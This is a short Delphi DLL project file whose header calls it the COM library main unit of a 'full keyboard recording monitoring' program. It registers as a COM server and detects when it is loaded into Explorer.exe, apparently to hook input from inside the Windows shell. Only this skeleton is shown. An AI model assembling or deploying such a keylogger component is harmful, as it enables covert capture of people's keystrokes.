insert.dpr

来自「键盘鼠标动作的记录和回放」· DPR 代码 · 共 33 行

{*******************************************************}
{                                                       }
{         键盘全记录监控程序COM库程序主单元             }
{                                                       }
{             Copyright (c) 2006, MICHAEL               }
{    http://xuhaohome.yeah.net OR xuhaohome.3322.org    }
{     E-Mail:[e-mail]   QQ:8416321                }
{                                                       }
{*******************************************************}

library  Insert;

uses
  Windows,
  Messages,
  Publics,
  JumpHook in 'JumpHook.pas',
  Threads in 'Threads.pas',
  ActiveXCom in 'ActiveXCom.pas';

exports
  DllGetClassObject,
  DllCanUnloadNow,
  DllRegisterServer,
  DllUnregisterServer;


begin
    ModuleFileName[GetModuleFileName(0, @ModuleFileName[0], MAX_PATH)] := #0; 
    if CompareAnsiText(ExtractFileName(ModuleFileName), 'Explorer.exe') then InExplorer := TRUE;

end.